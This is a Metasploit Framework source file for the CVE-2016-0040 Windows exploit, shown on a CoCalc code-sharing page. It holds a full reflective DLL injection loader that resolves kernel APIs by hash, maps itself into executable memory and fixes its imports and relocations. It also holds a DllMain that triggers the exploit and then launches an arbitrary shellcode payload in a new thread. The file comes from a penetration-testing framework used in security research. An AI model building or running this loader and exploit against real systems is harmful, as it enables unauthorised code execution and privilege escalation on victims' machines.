CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/exploits/CVE-2016-0040/Metasploit/Metasploit.c
Views: 11784
1
//===============================================================================================//
2
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
3
// All rights reserved.
4
//
5
// Redistribution and use in source and binary forms, with or without modification, are permitted
6
// provided that the following conditions are met:
7
//
8
// * Redistributions of source code must retain the above copyright notice, this list of
9
// conditions and the following disclaimer.
10
//
11
// * Redistributions in binary form must reproduce the above copyright notice, this list of
12
// conditions and the following disclaimer in the documentation and/or other materials provided
13
// with the distribution.
14
//
15
// * Neither the name of Harmony Security nor the names of its contributors may be used to
16
// endorse or promote products derived from this software without specific prior written permission.
17
//
18
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
19
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
20
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
21
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
22
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
23
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
24
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
25
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
26
// POSSIBILITY OF SUCH DAMAGE.
27
//===============================================================================================//
28
#include "Metasploit.h"
29
//===============================================================================================//
30
31
#ifdef _DEBUG
32
#define LOG(fmt, ...) printf(fmt, ##__VA_ARGS__)
33
#else
34
#define LOG
35
#endif //_DEBUG
36
37
// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
38
HINSTANCE hAppInstance = NULL;
39
//===============================================================================================//
40
#pragma intrinsic( _ReturnAddress )
41
// This function can not be inlined by the compiler or we will not get the address we expect. Ideally
42
// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of
43
// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics
44
// available (and no inline asm available under x64).
45
__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); }
46
//===============================================================================================//
47
48
// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,
49
// otherwise the DllMain at the end of this file will be used.
50
51
// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,
52
// otherwise it is assumed you are calling the ReflectiveLoader via a stub.
53
54
// This is our position independent reflective DLL loader/injector
55
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
56
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter )
57
#else
58
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID )
59
#endif
60
{
61
// the functions we need
62
LOADLIBRARYA pLoadLibraryA = NULL;
63
GETPROCADDRESS pGetProcAddress = NULL;
64
VIRTUALALLOC pVirtualAlloc = NULL;
65
NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;
66
67
USHORT usCounter;
68
69
// the initial location of this image in memory
70
ULONG_PTR uiLibraryAddress;
71
// the kernels base address and later this images newly loaded base address
72
ULONG_PTR uiBaseAddress;
73
74
// variables for processing the kernels export table
75
ULONG_PTR uiAddressArray;
76
ULONG_PTR uiNameArray;
77
ULONG_PTR uiExportDir;
78
ULONG_PTR uiNameOrdinals;
79
DWORD dwHashValue;
80
81
// variables for loading this image
82
ULONG_PTR uiHeaderValue;
83
ULONG_PTR uiValueA;
84
ULONG_PTR uiValueB;
85
ULONG_PTR uiValueC;
86
ULONG_PTR uiValueD;
87
ULONG_PTR uiValueE;
88
89
// STEP 0: calculate our images current base address
90
91
// we will start searching backwards from our callers return address.
92
uiLibraryAddress = caller();
93
94
// loop through memory backwards searching for our images base address
95
// we dont need SEH style search as we shouldnt generate any access violations with this
96
while( TRUE )
97
{
98
if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )
99
{
100
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
101
// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
102
// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
103
if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
104
{
105
uiHeaderValue += uiLibraryAddress;
106
// break if we have found a valid MZ/PE header
107
if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
108
break;
109
}
110
}
111
uiLibraryAddress--;
112
}
113
114
// STEP 1: process the kernels exports for the functions our loader needs...
115
116
// get the Process Enviroment Block
117
#ifdef WIN_X64
118
uiBaseAddress = __readgsqword( 0x60 );
119
#else
120
#ifdef WIN_X86
121
uiBaseAddress = __readfsdword( 0x30 );
122
#else WIN_ARM
123
uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 );
124
#endif
125
#endif
126
127
// get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
128
uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
129
130
// get the first entry of the InMemoryOrder module list
131
uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
132
while( uiValueA )
133
{
134
// get pointer to current modules name (unicode string)
135
uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
136
// set bCounter to the length for the loop
137
usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
138
// clear uiValueC which will store the hash of the module name
139
uiValueC = 0;
140
141
// compute the hash of the module name...
142
do
143
{
144
uiValueC = ror( (DWORD)uiValueC );
145
// normalize to uppercase if the madule name is in lowercase
146
if( *((BYTE *)uiValueB) >= 'a' )
147
uiValueC += *((BYTE *)uiValueB) - 0x20;
148
else
149
uiValueC += *((BYTE *)uiValueB);
150
uiValueB++;
151
} while( --usCounter );
152
153
// compare the hash with that of kernel32.dll
154
if( (DWORD)uiValueC == KERNEL32DLL_HASH )
155
{
156
// get this modules base address
157
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
158
159
// get the VA of the modules NT Header
160
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
161
162
// uiNameArray = the address of the modules export directory entry
163
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
164
165
// get the VA of the export directory
166
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
167
168
// get the VA for the array of name pointers
169
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
170
171
// get the VA for the array of name ordinals
172
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
173
174
usCounter = 3;
175
176
// loop while we still have imports to find
177
while( usCounter > 0 )
178
{
179
// compute the hash values for this function name
180
dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
181
182
// if we have found a function we want we get its virtual address
183
if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH )
184
{
185
// get the VA for the array of addresses
186
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
187
188
// use this functions name ordinal as an index into the array of name pointers
189
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
190
191
// store this functions VA
192
if( dwHashValue == LOADLIBRARYA_HASH )
193
pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
194
else if( dwHashValue == GETPROCADDRESS_HASH )
195
pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );
196
else if( dwHashValue == VIRTUALALLOC_HASH )
197
pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );
198
199
// decrement our counter
200
usCounter--;
201
}
202
203
// get the next exported function name
204
uiNameArray += sizeof(DWORD);
205
206
// get the next exported function name ordinal
207
uiNameOrdinals += sizeof(WORD);
208
}
209
}
210
else if( (DWORD)uiValueC == NTDLLDLL_HASH )
211
{
212
// get this modules base address
213
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
214
215
// get the VA of the modules NT Header
216
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
217
218
// uiNameArray = the address of the modules export directory entry
219
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
220
221
// get the VA of the export directory
222
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
223
224
// get the VA for the array of name pointers
225
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
226
227
// get the VA for the array of name ordinals
228
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
229
230
usCounter = 1;
231
232
// loop while we still have imports to find
233
while( usCounter > 0 )
234
{
235
// compute the hash values for this function name
236
dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
237
238
// if we have found a function we want we get its virtual address
239
if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
240
{
241
// get the VA for the array of addresses
242
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
243
244
// use this functions name ordinal as an index into the array of name pointers
245
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
246
247
// store this functions VA
248
if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
249
pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) );
250
251
// decrement our counter
252
usCounter--;
253
}
254
255
// get the next exported function name
256
uiNameArray += sizeof(DWORD);
257
258
// get the next exported function name ordinal
259
uiNameOrdinals += sizeof(WORD);
260
}
261
}
262
263
// we stop searching when we have found everything we need.
264
if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache )
265
break;
266
267
// get the next entry
268
uiValueA = DEREF( uiValueA );
269
}
270
271
// STEP 2: load our image into a new permanent location in memory...
272
273
// get the VA of the NT Header for the PE to be loaded
274
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
275
276
// allocate all the memory for the DLL to be loaded into. we can load at any address because we will
277
// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
278
uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
279
280
// we must now copy over the headers
281
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
282
uiValueB = uiLibraryAddress;
283
uiValueC = uiBaseAddress;
284
285
while( uiValueA-- )
286
*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;
287
288
// STEP 3: load in all of our sections...
289
290
// uiValueA = the VA of the first section
291
uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
292
293
// itterate through all sections, loading them into memory.
294
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
295
while( uiValueE-- )
296
{
297
// uiValueB is the VA for this section
298
uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );
299
300
// uiValueC if the VA for this sections data
301
uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );
302
303
// copy the section over
304
uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
305
306
while( uiValueD-- )
307
*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;
308
309
// get the VA of the next section
310
uiValueA += sizeof( IMAGE_SECTION_HEADER );
311
}
312
313
// STEP 4: process our images import table...
314
315
// uiValueB = the address of the import directory
316
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
317
318
// we assume there is an import table to process
319
// uiValueC is the first entry in the import table
320
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
321
322
// iterate through all imports
323
while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name )
324
{
325
// use LoadLibraryA to load the imported module into memory
326
uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );
327
328
// uiValueD = VA of the OriginalFirstThunk
329
uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
330
331
// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
332
uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );
333
334
// itterate through all imported functions, importing by ordinal if no name present
335
while( DEREF(uiValueA) )
336
{
337
// sanity check uiValueD as some compilers only import by FirstThunk
338
if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
339
{
340
// get the VA of the modules NT Header
341
uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
342
343
// uiNameArray = the address of the modules export directory entry
344
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
345
346
// get the VA of the export directory
347
uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
348
349
// get the VA for the array of addresses
350
uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
351
352
// use the import ordinal (- export ordinal base) as an index into the array of addresses
353
uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );
354
355
// patch in the address for this imported function
356
DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
357
}
358
else
359
{
360
// get the VA of this functions import by name struct
361
uiValueB = ( uiBaseAddress + DEREF(uiValueA) );
362
363
// use GetProcAddress and patch in the address for this imported function
364
DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
365
}
366
// get the next imported function
367
uiValueA += sizeof( ULONG_PTR );
368
if( uiValueD )
369
uiValueD += sizeof( ULONG_PTR );
370
}
371
372
// get the next import
373
uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
374
}
375
376
// STEP 5: process all of our images relocations...
377
378
// calculate the base address delta and perform relocations (even if we load at desired image base)
379
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
380
381
// uiValueB = the address of the relocation directory
382
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
383
384
// check if their are any relocations present
385
if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
386
{
387
// uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
388
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
389
390
// and we itterate through all entries...
391
while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
392
{
393
// uiValueA = the VA for this relocation block
394
uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );
395
396
// uiValueB = number of entries in this relocation block
397
uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );
398
399
// uiValueD is now the first entry in the current relocation block
400
uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
401
402
// we itterate through all the entries in the current block...
403
while( uiValueB-- )
404
{
405
// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
406
// we dont use a switch statement to avoid the compiler building a jump table
407
// which would not be very position independent!
408
if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
409
*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
410
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
411
*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
412
#ifdef WIN_ARM
413
// Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem.
414
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T )
415
{
416
register DWORD dwInstruction;
417
register DWORD dwAddress;
418
register WORD wImm;
419
// get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word)
420
dwInstruction = *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) );
421
// flip the words to get the instruction as expected
422
dwInstruction = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );
423
// sanity chack we are processing a MOV instruction...
424
if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT )
425
{
426
// pull out the encoded 16bit value (the high portion of the address-to-relocate)
427
wImm = (WORD)( dwInstruction & 0x000000FF);
428
wImm |= (WORD)((dwInstruction & 0x00007000) >> 4);
429
wImm |= (WORD)((dwInstruction & 0x04000000) >> 15);
430
wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4);
431
// apply the relocation to the target address
432
dwAddress = ( (WORD)HIWORD(uiLibraryAddress) + wImm ) & 0xFFFF;
433
// now create a new instruction with the same opcode and register param.
434
dwInstruction = (DWORD)( dwInstruction & ARM_MOV_MASK2 );
435
// patch in the relocated address...
436
dwInstruction |= (DWORD)(dwAddress & 0x00FF);
437
dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4;
438
dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15;
439
dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4;
440
// now flip the instructions words and patch back into the code...
441
*(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ) = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );
442
}
443
}
444
#endif
445
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
446
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
447
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
448
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
449
450
// get the next entry in the current relocation block
451
uiValueD += sizeof( IMAGE_RELOC );
452
}
453
454
// get the next entry in the relocation directory
455
uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
456
}
457
}
458
459
// STEP 6: call our images entry point
460
461
// uiValueA = the VA of our newly loaded DLL/EXE's entry point
462
uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );
463
464
// We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
465
pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 );
466
467
// call our respective entry point, fudging our hInstance value
468
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
469
// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
470
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter );
471
#else
472
// if we are injecting an DLL via a stub we call DllMain with no parameter
473
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );
474
#endif
475
476
// STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.
477
return uiValueA;
478
}
479
//===============================================================================================//
480
#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
481
482
#include <stdio.h>
483
484
#include <library/library.h>
485
486
DWORD WINAPI ExecutePayload(LPVOID lpPayload)
487
{
488
VOID(*lpCode)() = (VOID(*)())lpPayload;
489
lpCode();
490
491
return ERROR_SUCCESS;
492
}
493
494
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
495
{
496
BOOL bReturnValue = TRUE;
497
switch( dwReason )
498
{
499
case DLL_QUERY_HMODULE:
500
if( lpReserved != NULL )
501
*(HMODULE *)lpReserved = hAppInstance;
502
break;
503
case DLL_PROCESS_ATTACH:
504
hAppInstance = hinstDLL;
505
if (TriggerExploit() == TRUE) {
506
LOG("[+] Exploitation Completed\n");
507
if (lpReserved != NULL) {
508
LOG("[+] Launching Payload\n");
509
CreateThread(0, 0, &ExecutePayload, lpReserved, 0, NULL);
510
}
511
}
512
else {
513
LOG("[-] Exploitation Failed\n");
514
}
515
516
break;
517
case DLL_PROCESS_DETACH:
518
case DLL_THREAD_ATTACH:
519
case DLL_THREAD_DETACH:
520
break;
521
}
522
return bReturnValue;
523
}
524
525
#endif
526
//===============================================================================================//
527
528